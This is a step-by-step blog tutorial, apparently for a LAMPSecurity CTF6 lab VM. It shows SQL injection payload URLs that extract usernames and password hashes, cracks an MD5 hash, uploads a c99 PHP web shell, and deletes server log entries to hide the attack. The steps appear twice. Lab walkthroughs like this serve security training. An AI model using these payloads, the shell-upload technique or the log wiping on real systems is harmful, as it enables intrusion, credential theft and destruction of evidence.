Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uEf8uM7E2Rjt3X9mdfFAoHoid6T6N0ItGAxDYqgocORmWwl1zgF3Gxat8yGJj7-nQPCMpW_sK6L4kS1BasQyX9DH28GCogC9bByTmdvSxguwfnO428BfnYBqsvFk8QaZXZpbRNNBpMqS6me6sgFtdi1_AJyE1BAERdAIuk5jvSqZfO=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vK1ZPNqdr0j5Rss7leknUNQc8C8A4gxZrlTTnGnj4sJgkZXDMmy8SM5IMkmCjurVkoEn5pM0kec1SSDW-FBtEUrCtbCx48mhoIjNHa1sEiYJ-mvCrPlX1sn47OC_3jdy-2F4f1qvsW_pY_ESn7nk7hqUAgELKtESaabbuDH5OdT2KWuA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tdd8OpiFfmQ00t5l-HVLjxS2LQEJjqE06vlJ0qIjsEWaX8srIQKl4SJZgvqqUJPNhOA-18ef0Pu6iJrUJCbZpIkYcPgdXeydjqQxG-NzONyrDd59G788YcG293oM1hKaRWXsEBeXDgeDxHkOAKglLG0s_GLNCC6rY5dC4lgf1Rl_q_uQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ucofDT1UY_w-bjww10hWBD8JU0cSsGl4EV4KCINsvP4ZQB2IM1qM0enExE1SEdx8jVsPs3ZHZYEMajcRgw15DRfgLidqJTsB-mil4V2EFbyi2jqqMtZSiacCo_gcgVXHSUx71hbk7MXWkyfV23UlYjdJMmts5DWy_HEgKFy0BFYGQ5vA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tKIofG8Guja_J9M1310LfAJyqurmDOt8NNv1Jci812NaNtkqC3dLquvhShAAndlyL-DY74RTsq76xuTgeRC2fQrjNM77mwJz-78W7viOA619wAKG8lcgSytBUQdma_4wpYv5OJdR3zqG3nnw2jLb7nUEunNiZYFbWFnHo82Sdy2k8ixg=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s0F6LEeDxBU1Qjej7gkASmeM4PQAWpoxHSMewj9x3GKdgLsyIvlkTFGRoSRy6LDnQGLgcyEXFdAMzFN5JO3QP5csq8WjT-s3AEVHrqXljQwuRlN2HYm0DJgnwKM7I1YbsCNRfGoJycyV4y5Tg6H9NpWbQ63b6fKw64dKud3X6tgYR_=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sbTIpUHBLlmuebIbmheDVfH2ZWRZ2dxqt1m5A3LXo8Uubvm4d-2xzOAVt0g2tGDEgoTKDUSm_xYultI3VmUqAdKEWGfrQ7Rf0BMEZi5fKZ2Mp535gaEjYNWsgHBeZdu5zPBj4D5BtUWbrrSYSUQb29wEYG_LQcnOnUNv0iS27cZHco_RI=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s3kZhcgw9MXReK-teAcdQqbB-yoZH-jm8sCtPtUG1KqS5iwP62ivJ2H2G4vxzfEFSEr8mtU-M0V9wQH82JNq2Q5hLPbnF--Nthjg75QkwZvPA6hgIBKmb-Opz3UQnQfW8jy7Gw3ZBywzopXM6jyZt9YDwtoC-ewi8zX31O6VAf89OUcmU=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tJwz81EXQg2r4boI2s6-Nk8hYPeOLRVkRXmHSTb8O9W1BcwDIFrHMo4f8Ac-AJTyPqPAK92JI3xHFrBHctsGYR37QJlcQYAGFFcLvCnZLx8bFGh90_88XZspTYRrbcgcGRL1F6dvdpZkiDRv2pQwlnGYpgRr1JRUyf6HoqgFfzEVt6DCA=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tm8SchzwRMCKC1lphfhWuaJXtUEmrYOfO8SlMRzGM75UsBWyE97o4qzC9IU-gpU9AyQ3juM7aHJTzmIrqAy2KxKFPNrnfQ-PYOxihMfpD_nm-8ckVlgpDf-nyOtsr7cV9vgCda1HaFTBPPzkq9D61MbtueFgjMHrUhEjuLpMXnUwhWBNQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uvAqrn43yQgkTJ6Ir5TgpETZWWD5OkKXZmoI8OTOzwjMxDUZF9kRqUO77JYwDJzkmZ9DDBghdA2wKjYvJUSol7ZFQlS__6cSE-gSmPV1eC88NekxNAYcHFgdc0qMKGt4rYiknSLES5-GOvVNzl2Jt5dHmBodfNFVeTId_qH26lrrAyVQ=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjcRlrBQpluKx5QV0au0f1eDO4IvUPURI6Cn4qEmNbThvLQfTGzK8C_cCEFIN0Yrwn5tTLHzvhStN8upUgb81p4OPykK1hZyWI4Ow9cVZVHFB9IFJj2HNN_1wwS3ohtUR2mxNfiHI_0wNLoS6j0JSMIBPupk79yta26AFB4D06AEh6wCw=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVdb5ymQtkroVkYMqURn7bTcYyI-F3fGUcUBH6a5736wcLuGy9zcgEZyLyQEAR37zDwElsXo5K3-atnjZOrmcq8rQbzJHabPcSFjMgDJ19qNGq4_APsq-34V0Ypj21vTVrXhzjlNvp50LQEFAYjty6OLDiUkS1tj-v5G7MmwNANiAEyew=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vY2vDp4TtRvraeWLhzpWcWeKFi2lYmV0lu9L-Nt42CfAHA-yPz_nGHQcMYVOenGDkfJPIAGYxXp8jHnNMcGJ8QDQeIw9I4-kq7T_ikSQ2juaxa7mv2STsPURgcqXek-57bbPj_PLcI4gyRGZijRvnEoUYobs3w--gHKT9x1hPzjhFSjg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLVaTuN00IjqAIc69WFqZNWUabU_sXX8n6uGRuEI0X3Lg_FHYZeDKLC9FZHpkqrvC6IX5zdTPCAa9ZO8j30y3icN0GoXuxE0_ASTUPic53gQiD97KxhJu1AFrt1B63uamv0jp_yOO5CLLfVNbtoUQq_Y6FrmclnSXhLWq3LlXydE9Urw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tSN9lJehekM1YkKmBiuQICYp7Wng8Qi9dZ3Ft0szLkIXxtdRUEIP8QR-Aeb2bApmUJMEoBgGOg7yGl_5bqoaLdk5t9LzueGOoIrgw4EeqPXaKIKUv9onWqOvtPBh37Rt_n64oF3CaeQKO1AD_uCQE696ChKO936gyXsqwkTDgfb6IXwQU=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uLpOt65q0Gy70bfAojfV1gYmKe_eZPykccZPdrJYOwJUQ8BlkXGbmzxLbZ4VLEr_5_KsOBVK9adozSQFWG3OWXR1EJioPNo-5YKoka8n4VJVBeG2TEalMSePKBDe2awTEB60_Fa5fKy67qJCtDu84yj3r-mA3AgElI4D8LwZKR3rnTsZE=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tybyafoF5e2tXFaXTZXJUfROIY-y4byrq3-OKtBSka8zV7S6qMu6NiCo07bHRMO4QtimlDlZ2YTE_mrs2hdEyiA_yEdbMXRrYRq0t1VlZ8X-nivR6diXbJpeT3dCvlWIUS-K2ZdrN5Hu2syEb2EUNimB_esMUWRG23ThHbYWI7P3BMTs8=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sL0_WEX82DMRLWzV2SLiQ1XlaRYff_TGaK8FXJTg9HbUsYBxO2IkDNYV0hcYIywKFkD90WoTiMxfMhSk9Efu2qakwWi0AUjLiRZ9xvEhztrnVk6EJ3flr07oahYeRXQgkTvd2J0WbGYdp9_m1XfrD_UuYdphsqR4wVTh4nGIQMl-QTAoM=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sV1qNjntlDfdH-jtEzEhZ9QsNeP8tEnX5NM3m81M0yjRQvvjgWFNvkPDqFwYkMPe8HUlEbexlJluNzhzAIP_94bW50FuVmh-d--f0vgueTCAzi6I8W-RLpzo5d3C5K4TLLFJHqD_4ihjwJzySmeMTcGZdUe-zTpirhniD-GP5ciRQ68EM=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vjPn4eIa9xtqzSoPovhyWMTkZUAfVhPYa38NSv28eEHYiIndyzRRTB4-K40vx1f52rKH-LoVag05tHhx7LOLNTJWIu-jHwQS7fkK-U8TaGtyNQSlffKb5avXqQyAFJTVomMob-s3hptd3V7ig42vfSx2zsvGOxlkYl9l2t1pcoIWOFrsU=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tbf2k6W_zv2palo3prEF4jVvN35Yil0RRpF7zQTudx0b-07KKUpTL08wOIZDoxaQJqhyLSq5gn-hiWpB4lRH5QACieo63QcGlQeH5IWLTXfhDQRcV_Md1-jaL3-9gr4ljQoFc0jzD1gKIesO80g3R4q5dU5lwvRgAgVtzlkhB0PJs8M5A=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_te0IQA2BfqF8wFAq6Txw61luMfErXMwHH5SzQA7RCKoQX0aJBH7jvvJp6PKqREGxOZ9S7_KzgAuzvCw6ULgT4kZf9Bak8UHnFDOLoo5dPbB-NkcLcEbNnmFQO-d_2QmZjU1U4w7vOnMw3O1iJ5ebf1q3bUEyHcAoKe0Lv3d2jsl0DOIsg=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEUwPPrxKOIv4jDeWvVRIPp-GB4aYOJlQO062yAZgWrBbEepvyPiPugGm498edRRBwArgKldIfP07R6Cnwwww5Ko5H2TE1kE3OPeGkHgiJCrFmf2KMnszc7L3S7x5cGXieelAII9vqFJ_j7FNdVGqUUA71iyxehh659xIA2lQO3kWRBAo=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tOn2QjCKxMW2jclPbTiRQViZwWlLxdjuGraX8nPmc5yY9X5vD99hs1WCz-8BsbdFSpnzwcpb1nyWNbcpAZdPiX3hgPQujCFZ1av418W2OdZ-t3SLjRdJL3uJ4kXg9QQG81yFdoS5Sr3F5Xw7S-Exosrj1Rut-vb3JBBXv6_jJtgbvzdQ=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tVTn4DE-fc9Wz7XwNjTKugPesUSlnRuktDQ68dKtKUk5jGTrMVNXdCcOBE0owqZtuYTRsIxIOiRwrmHvV-Yzic4QGxho-SPFcDHUlQ9rOf1oWPE2c8OfHi-QRMI8LIEojvOUH-sUI3AP4NPT084fwzPo5voH3chpW3fWNa3LPkT6Of5g=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdv1BpiXeoXF4V_XJddfX1xQuczjnQue6yrDXD9q0RCYwoD71jAbhi0rBbaF_40MErnMfzWAXmisG6gMt8dvkdp4mcl2kHT5m5gxzuN7zRUiywAjn4tUOoNGi36A0clSNdWV07X-6I_tx62pljWfUKuiYla0i5I-ciPRVHq9Exxlqb2Mg=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vi66pKluv_KUHJZipQR0Y9_kY5VxriuJl2Su5CGEu-np1uze8DaI1VPKs2LRh3vOjjhcgmau2eopuMp8Ic6L-hjURmEIKvhCJ6rF_xAkXxa1fIbjqq9OkPs8r6HchYoVS0OW2OgPpsUfvP3lpab0ctp-J_aDBNOHJLMozO3APqMduph6o=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uXK6UyJyKztcyAN9PglfOJkY83FoGucyZy5NW36l8zC9bhhP1YgasCdiTSYjmiDTnH14znNaWjDApQ0PHsyVnddMQoStKvfZ4J2wvuvZYSrBbKHMoSHhIj3V3AgOCJV-qQQyczrLvxj4Nqntsua-oLeevgGbMDqYx-duRuyjsLI-BtlQ=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vk9YVYY7JgK5abWldg88MH4Yjc_zA0KXou7zsZsaeJUiV5aeD4DCoLqPP06M7Fsxy-_cP7wHSRyvP7_dLRkKtOCJ9w7i8V-_kaUyxS0l5xwl2ismKXi3poYJdfUyt1yc8xRQTVK84hHSxQphZurQO9mZAFFxwgSWeXJKHoT9St6HwMOiU=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v6MdJIEWYW0oobLKk6Bh1DEaK6EhbPQLAPZknQESysmoPYjw3a1F8d-5L63YFlRoT5FkWtT1XxZdrztOAyH5VJVZ5cMFMGP_w9Ne15C3D3FnNY5ZkkdgL58gxidDpuL_6phyb-n_VYLlu4cety95C92K45rCkn7LirdpZjTR89-iWGzoc=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_thxUCnjii_wu9iEsZeEy3tNV0x3W2_VijNr0gqIvOsDwlVGghYPMY8Uoq8iN6FjgyhtIViVq6YdqutTN4iKA-a9JRlYaR7DParECjM5RAv4xz22qzXqkCRSibzRjNE49ZsSj93IzHKQopebErFOwZe4I3RmWVfWHjYxL0nTBcFHUS95YE=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ty2S6LklH8EWwi_guwGibCGDjklTkH9qEq1qx4qdpTViEDaUBRZ76_XmSLdKhaykWBlBpbrMJZHGA1tsmH3VwBZdJyFs7z6u4pf3MulNgxsVuT2eYPzy1c5dyU1yG9qBWQ3KtYowqQdLWEmUNuhTtucHb3i8u8MUUU4Jyhh33nvB2uJxU=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfpksHDZVaQ2yppHtgTnOfQhAouz6g0t2clOwestyKCmPdC7JrK-OBFgMMMZo4EKEAll2bQVLxpN4Saklk4NLsBCubdryL5e-LcbvBw85Zm4MIEw6nyr4o9_500Rjod1CogvEX0yvTjTYkXVFjFQkiamD5PZnCalM5IjAJ2KRPJd864OM=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tfvgasg3JQYYRYO3o3GMh8_DENl90GZoPs4LL7_MhOGtEJz58pkSI-Ba5qMoqI8my2m7gR870Afw1yDuH1LRaiG92D3NOAh787lQ2ejlf4Q3WGs77Uidy3g2IyZJ-X4D85tzpd1YR7Jvwy2DRWg0Dm-_we2W1wCKKi8Bt-wn5hiHU94rk=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tuH5OOEE63rdNAfryt23rc9h6Ts8koD74Maf_ZxssqXX4J9T62ffpy_cKdfU0CnqgnI1zhd6BfPJC-v6x7uahVzIUansy4Kd9UJvAw5KF1Peo_RFAk-c7yA1oW0vMCbmraMSXBwlhiYhz_hUM8FwIWLiIvjya8Lar9DexC1sgBvdd_Noc=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ssY27hX0vDAoDvzg6ZCSVcLRsuM6gzrmGAPRJJGNsfRlRjgwby0pgYOMlDLn-CdxkHjpOU6LB3FpxfzUGZUtvLXJsmBHAE27KjUMBgTNUERvasRZu_2bWXWXw934SU4kxit_NE4QHlMAyJFcppA0tdc8Yc80q2SAQ6eLsw1MLkhXzD9g=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sst8RslIcdb_IGaGRNyQvh4adjf9NVZKTtChjaQl4AtcQkEqWJ-4rVYTqlW1cDraRQik_TiEmJHk4QY1_Ra9j2cj8qJXP48d_-XyRcBByKDrNFQr0U2QVzWseDhzQB_l8kCAP4O6L2NYsLDMyNaj9xcgP8GVgdq8FbQ9DI361KisKp1jA=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sxDU2B6Xcy3jf5W5IgDB0BDgPLwlNWDLMJjgcKie90N3WSSFMoazDKA7Uro3s9W11ebPGvuMahmdPnRFvUZcuOtvSc8aQlCNU_muD_A_749W9P-6bxMidU-FIYY1_3T8rricBxm915-7EEMVP3b_Q9FsGKnzjjr79Jrt8ffU-jg3EX_A=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uZ5YHMjNdkGUznH7hH1qoELDeVgb1nmi6Y0XbE1IIH0QnNBhd0mvjpL-2jxIzypi0eSm7mB1wggf92KMnaxa3hPjZnH6Mbtzg_1Kwb25Hy9ba8HEjmU_Qmih6V0YHT5KHOpC41WHshGiIee_lZ-idjnFUOWtp93NyH6nW2Af4anssBHOE=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t5IQjcHJYftxIC2rTcSCSVMTbLrXkPlZ72igd0shX3EQXAS9bMCGszEYWnBY5iuGisAPirOrz1qTrPaCCnFIwaCmVMZjz1E6UKztdX-Ov7d2wFlnSo5jxdnJ-H9iSGAGD7l4OhjKcw6hn6Y7_NZnlJltRPrm7ym9G1xJm4uWCQxz2b4sA=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s78J9VQ0nF8l5oKUhTmJDpKKj7x-YeKlPiMVyUKQ4obZICvvMrI1tyUXAddgn4hcvIKG_jEk2c5a-2iI6GgrtJONrGyiW4QEomYDgBhL1wjII6Gvnov51BeDdn7O9huqn9XRA56cHkNlIfBRxzBQGB7OrGGToERw-_eKCIIqkbh21GgCA=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u2abfbBdUaB_eMQ7RhiTwfolTMAa0nRZWT0Ymoq5LZVZkMfjCpQlgkMHama6qo9q7WSWd7dPndLgZE6x9YC50PoeNKhEesSz3YprxcaBc68m0CoYgup-q_pod_7YaOVb91OBXZWpONQRNVEh6xztGX5d1jGTkm5XanQL3hxGJrhQFGfT0=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_valj7fFPSuZecKMSfnNC3xYm_NWJv910TTcIjB1d5gtT9VtyWFf__99GtlLxP70s8vKwTAdA4ia1tJ_JdJnZmOZlPzXIW-W8E0_dQZ4Hte5KyrI8XvKA3l7JWcTgcr0wswCCp_8_Ue80-2_LsADGi1kIdwXF-bdRmC0kUWYx9_aFlToA=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t3FqGT_djgSwVPmZ9m6ttfFzFbFtHwyt9pJ4Doq_fpOa2JjnWFNWQNg_Jl9IWKZgfJVXcpP48adQhAfckcQkGlzEwDL7ctuszqEuQ0TwCZKY0u-5XRUXC2-YCZaAxg-GFupxlceFBtyk2-ErMrYzhgsv8k9z3qEiml3sQKoHzwB2BbdN8=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete